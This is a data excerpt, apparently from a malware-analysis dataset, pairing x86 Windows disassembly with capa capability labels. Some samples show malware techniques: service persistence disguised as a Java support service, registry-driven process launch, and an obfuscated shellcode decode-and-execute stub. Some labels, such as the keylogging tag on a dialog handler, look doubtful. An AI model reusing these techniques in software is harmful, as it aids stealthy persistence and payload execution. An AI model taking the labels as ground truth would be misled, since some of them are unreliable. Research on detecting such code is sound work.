joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012dd
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4013b9
push ebx
push edi
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
push esi
xor eax, eax
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x110
mov ebx, 0xf01ff
push ebx
push str.Java_TM__Virtual_Machine_Support_Service
mov edi, str.javatmsup
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x401391
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
je 0x401363
cmp eax, 0x436
jne 0x4013ae
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
jmp section..ropf
lea ecx, [ebp - 8]
push ecx
push 1
push eax
mov dword [ebp - 8], str.Java_interoperability_virtual_machine_support_for_continuing_execution_of_code
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4013bc
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push esi
push edi
push dword [ebp + 8]
call fcn.004012a2
push 0x40
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.00401580
add esp, 0x10
lea eax, [ebp - 4]
push eax
push str.SOFTWAREJavaSoft
push 0x80000002
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x58], str.WinSta0Default
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp dword [ebp - 4], esi
je 0x40143e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 8]
push eax
push esi
push str.Supplement
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x208
mov dword [ebp - 8], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
lea eax, [ebp - 0x268]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp loc.0041348c
Function at 0x4013ef
Capabilities:
Terminate process

Disassembly:
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
jmp 0x4012c6
mov dword [0x404144], esi
jmp 0x401271
push 0x58
push 0x4012f8
call fcn.00401124
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x404038
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
jne 0x402342
xor esi, esi
inc esi
mov eax, dword [0x404034]
cmp eax, esi
je 0x402360
mov eax, dword [0x404034]
test eax, eax
jne 0x4011e2
mov dword [0x404034], esi
push 0x4012f0
push 0x4012e8
call fcn.00493000
pop ecx
pop ecx
test eax, eax
jne 0x4023f6
mov eax, dword [0x404034]
cmp eax, esi
jne 0x401295
push 0x4012e4
push 0x4012dc
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x404034], 2
test ebx, ebx
jne 0x4012a1
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x404044], 0
jne 0x40236d
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
jbe 0x401320
cmp al, 0x22
je 0x4011d2
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
jne 0x40239a
inc esi
jmp 0x4012b5
test al, al
je 0x40132a
cmp dword [ebp - 0x1c], 0
jne 0x4012be
mov al, byte [esi]
test al, al
je 0x4018ee
cmp al, 0x20
ja 0x4018ee
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40132a
call fcn.004013f9
jmp 0x4011ed
test byte [ebp - 0x3c], 1
jne 0x402391
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call 0x401922
mov dword [0x404058], eax
cmp dword [0x404054], 0
jne 0x4023d2
push eax
call dword [sym.imp.MSVCR80.dll_exit]
push ebp
mov ebp, esp
push dword [ebp + 0x10]
call fcn.00401342
push eax
call fcn.00401a08
pop ebp
ret 0x10
cmp eax, esi
jne 0x402350
xor esi, esi
inc esi
mov ebx, esi
jmp 0x40123c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401227
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x401271
push 0x404044
call fcn.00402be3
pop ecx
test eax, eax
je 0x4012ae
push 0
push 2
push 0
call dword [0x404044]
jmp 0x4012ae
movzx eax, word [ebp - 0x38]
jmp 0x4018fb
inc esi
mov dword [ebp - 0x20], esi
jmp 0x4012d9
cmp dword [0x404144], 0
jne 0x4023e1
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x404058]
jmp 0x402402
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00401674
ret
Function at 0x4013f9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x4014c4
push 0x4014a8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40142e
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, dword [ebp - 8]
xor esi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
mov ebx, 0x402164
push ebx
call edi
test esi, esi
mov dword [0x402164], esi
je 0x402326
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push ebx
call edi
pop edi
pop esi
mov dword [section..data], 0x44bf19b1
pop ebx
leave
ret
mov dword [0x402164], 0xbb40e64e
jmp 0x40148c

Function at 0x402269
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x402164]
jne 0x40295d
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x404250], eax
mov dword [0x40424c], ecx
mov dword [0x404248], edx
mov dword [0x404244], ebx
mov dword [0x404240], esi
mov dword [0x40423c], edi
mov word [0x404268], ss
mov word [0x40425c], cs
mov word [0x404238], ds
mov word [0x404234], es
mov word [0x404230], fs
mov word [0x40422c], gs
pushfd
pop dword [0x404260]
mov eax, dword [ebp]
mov dword [0x404254], eax
mov eax, dword [ebp + 4]
mov dword [0x404258], eax
lea eax, [ebp + 8]
mov dword [0x404264], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4041a0], 0x10001
mov eax, dword [0x404258]
mov dword [0x404154], eax
mov dword [0x404148], 0xc0000409
mov dword [0x40414c], 1
mov eax, dword [0x402164]
mov dword [ebp - 0x328], eax
mov eax, dword [section..data]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x404198], eax
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x402a64
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x404198], 0
jne 0x402a4d
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x1001f7d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
push ebx
push esi
push edi
push 0xe
pop ecx
xor esi, esi
xor eax, eax
mov dword [ebp - 0x40], esi
lea edi, [ebp - 0x3c]
push esi
rep stosd dword es:[edi], eax
call sub.IMM32.dll_ImmDisableIME
push dword [ebp + 8]
call fcn.01001ef0
mov ebx, dword [ebp + 0x10]
cmp word [ebx], si
mov dword [ebp - 4], eax
je 0x10020c8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0x1001ce8
push ebx
call edi
test eax, eax
je 0x10020c8
push ebx
push 0x1001cd8
call edi
test eax, eax
jne 0x1001fe1
call fcn.01001f48
jmp 0x10020f1
cmp dword [ebp - 0x30], esi
jne 0x100208b
and dword [ebp + 8], 0
mov esi, 0x100185c
cmp dword [ebp + 8], 0x150
jae 0x1002031
push ebx
push dword [esi - 4]
call edi
test eax, eax
jne 0x1002024
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x1002018
push eax
call dword [sym.imp.SHLWAPI.dll_IsOS]
test eax, eax
je 0x1002024
mov eax, dword [esi + 4]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x2c], eax
add dword [ebp + 8], 0x10
add esi, 0x10
cmp dword [ebp - 0x30], 0
je 0x1001ff3
cmp dword [ebp - 0x30], 0
jne 0x1002089
push 0x1001104
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, 0x208
sub edi, eax
push edi
lea esi, [ebp + eax*2 - 0x46c]
push esi
lea ecx, [ebp - 0x46c]
push ebx
mov dword [ebp - 0x30], 0x10010e8
mov dword [ebp - 0x2c], ecx
jmp section..htext
xor esi, esi
mov eax, dword [ebp + 0x14]
cmp eax, esi
jne 0x1002095
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x2000100
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10020f1
push esi
push esi
push esi
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x10020e7
mov dword [ebp - 0x30], 0x10010cc
mov dword [ebp - 0x2c], 0x1001140
jmp 0x100208b
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x5c]
push eax
call esi
test eax, eax
jne 0x10020d8
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0x10
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x407320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40732f
pop dword [ebp - 0x24]
mov eax, 0x4e17758
add eax, 0xfb5efbd7
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3625c
push 0
mov eax, 0x5908cda0
sub eax, 0x58c7ecc8
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x5560cf8a
sub ecx, 0x55609419
xor esi, esi
add esi, eax
mov edi, 0x7f1b85ca
sub edi, 0x7eda4a06
add edi, dword [ebp - 0x24]
mov ebx, 0x471ecc62
sub ebx, 0x7bee676a
sub dword [ebp - 4], 0x4b4743f1
mov edx, dword [edi]
xor dword [ebp - 0x14], ebx
sub edx, ebx
sub dword [ebp - 0x18], 0xcfdebbe
mov dword [esi], edx
mov dword [ebp - 8], 0x81a020e0
add esi, 0xe57d4fcf
sub esi, 0xe57d4fcb
add edi, 0x9aca0172
sub edi, 0x9aca016e
loop 0x407390
add eax, 0x36fcb045
sub eax, 0x36fbcfae
mov ebx, eax
add eax, 0xd54509eb
add eax, 0x2abaf61a
mov ecx, 0x3c92c78
add ecx, 0xfc76d388
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x402580
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402599
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4025d6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4025d2
nop word [eax + eax]
cmp esi, edx
jae 0x4025d6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x4025c0
cmp esi, edx
jb 0x4025dd
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x406f90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x406fa5
lea eax, [edx + 0xd]
pop esi
pop ebp
ret 0xc
mov eax, edx
push edi
lea edi, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406fb0
sub eax, edi
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push 1
push 0
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x406fe0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
add eax, eax
mov dword [edi], 0
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x407051
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x40701f
cmp eax, 2
jne 0x40703b
mov ecx, dword [ebp + 0x10]
test esi, esi
je 0x40704b
test ecx, ecx
je 0x407046
test cl, 1
jne 0x40703b
mov eax, ecx
shr eax, 1
cmp word [esi + eax*2 - 2], 0
je 0x40704b
pop edi
mov eax, 0xd
pop esi
pop ebp
ret 0xc
xor eax, eax
mov word [esi], ax
shr ecx, 1
xor eax, eax
mov dword [edi], ecx
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x40eab0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x531a46
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x59a0a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0049aa4a
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004983b7
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40fe60
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x531fb3
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x59a0a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
cmp dword [esi + 0x14], 8
jb 0x40feb1
mov eax, dword [esi]
jmp 0x40feb3
mov eax, esi
xor ecx, ecx
mov word [eax], cx
mov dword [ebp - 4], ecx
mov dword [esi + 0x2c], 7
mov dword [esi + 0x28], ecx
cmp dword [esi + 0x2c], 8
jb 0x40fed0
mov eax, dword [esi + 0x18]
jmp 0x40fed3
lea eax, [esi + 0x18]
xor ecx, ecx
mov word [eax], cx
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
cmp word [eax], cx
jne 0x40fee8
xor edx, edx
jmp 0x40feff
mov edx, eax
lea ebx, [edx + 2]
nop dword [eax]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x40fef0
sub edx, ebx
sar edx, 1
push edx
push eax
lea ecx, [esi + 0x18]
call fcn.00405040
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x30], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x34], eax
mov eax, esi
mov dword [esi + 0x3c], 0
mov dword [esi + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x414770
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x531a46
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x59a0a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0049aa4a
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004983b7
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x416650
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x59a0a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x30
mov esi, ecx
push 0
push esi
call fcn.0049e130
push 0x110
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], 0x114
push 0
push eax
mov edi, 0x30
call fcn.0049e130
add esp, 0x18
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4166b4
cmp dword [ebp - 0x114], 6
jae 0x4166b9
mov edi, 0x2c
push ebx
mov dword [esi], edi
mov dword [esi + 4], 0
call dword [sym.imp.USER32.dll_GetParent]
or dword [esi + 4], 1
mov ecx, dword [ebp - 4]
mov dword [esi + 8], eax
xor ecx, ebp
mov dword [esi + 0xc], ebx
mov eax, dword [0x59e5dc]
mov dword [esi + 0x20], eax
mov eax, dword [ebp + 0x18]
pop edi
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], 0
pop esi
pop ebx
call fcn.0049aa22
mov esp, ebp
pop ebp
ret 0x18
Function at 0x41b680
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x59a0a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, ecx
lea eax, [ebp - 0x20c]
push 0x208
push 0
push eax
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
call fcn.0049e130
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push str.uxtheme.dll
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41b74d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.OpenThemeData
push ebx
mov dword [edi], 1
call esi
push str.CloseThemeData
push ebx
mov dword [edi + 4], eax
call esi
push str.DrawThemeBackground
push ebx
mov dword [edi + 8], eax
call esi
push str.SetWindowTheme
push ebx
mov dword [edi + 0xc], eax
call esi
mov dword [edi + 0x10], eax
pop esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0049aa22
mov esp, ebp
pop ebp
ret

Function at 0x41be40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor bl, bl
cmp dword [ebp + 8], 0
push edi
mov edi, ecx
mov byte [ebp - 1], bl
je 0x41bf0d
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
mov dword [ebp + 8], eax
cmp dword [edi + 4], esi
je 0x41bf02
lea ebx, [edi + 0xc]
cmp dword [ebx], 0
je 0x41beeb
push 0x4ff
push 0x64
push 0
push ebx
push 1
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
test eax, eax
je 0x41bef7
cmp eax, 0xffffffff
je 0x41beeb
push 1
push 0
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
push 0
lea eax, [ebp - 0x20]
movq qword [ebp - 0xc], xmm0
push eax
movups xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x41bed1
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [ebp - 0x1c], 0x12
jne 0x41bed1
mov esi, 1
jmp 0x41bed5
test esi, esi
je 0x41bee5
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp + 8]
cmp eax, 0x2710
ja 0x41beeb
cmp dword [edi + 4], 0
jne 0x41be71
mov al, byte [ebp - 1]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop esi
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
pop esi
pop edi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [edi + 0xc]
test eax, eax
je 0x41bf2d
push 0xbb8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
pop edi
sete al
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x41f730
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x41f77f
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x41f775
mov eax, dword [ebp + 8]
cmp eax, 0x1b
jne 0x41f75e
push 0
push 2
jmp 0x41f767
cmp eax, 0xd
jne 0x41f775
push 0
push 1
push 0x111
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [esi + 0x3bc], 0
pop esi
pop ebp
ret 0xc

Function at 0x4230f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test ebx, ebx
jne 0x423109
lea eax, [ebx + 0xd]
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
xor esi, esi
mov edx, ebx
nop
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x423115
sub eax, edi
sar eax, 1
lea ecx, [eax + 1]
lea edx, [edx + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x423110
mov eax, dword [ebp - 4]
push esi
push ebx
push 7
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x423670
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x228
mov eax, dword [0x59a0a0]
xor eax, esp
mov dword [esp + 0x224], eax
mov eax, dword [ecx + 4]
mov edx, dword [ebp + 8]
or eax, 0x2001f
push esi
push edi
push eax
push edx
push dword [ecx]
mov dword [esp + 0x28], ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.00404f00
mov esi, eax
test esi, esi
jne 0x423767
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea eax, [esp + 0x20]
push eax
push esi
push esi
push esi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x100
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call edi
test eax, eax
jne 0x423739
nop dword [eax]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.00423670
mov esi, eax
test esi, esi
jne 0x423767
lea eax, [esp + 0x20]
mov dword [esp + 8], 0x100
push eax
push esi
push esi
push esi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call edi
test eax, eax
je 0x423700
mov eax, dword [esp + 0xc]
test eax, eax
je 0x423750
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], 0
push dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x14], 0
call fcn.00423840
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x423776
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0049aa22
mov esp, ebp
pop ebp
ret 4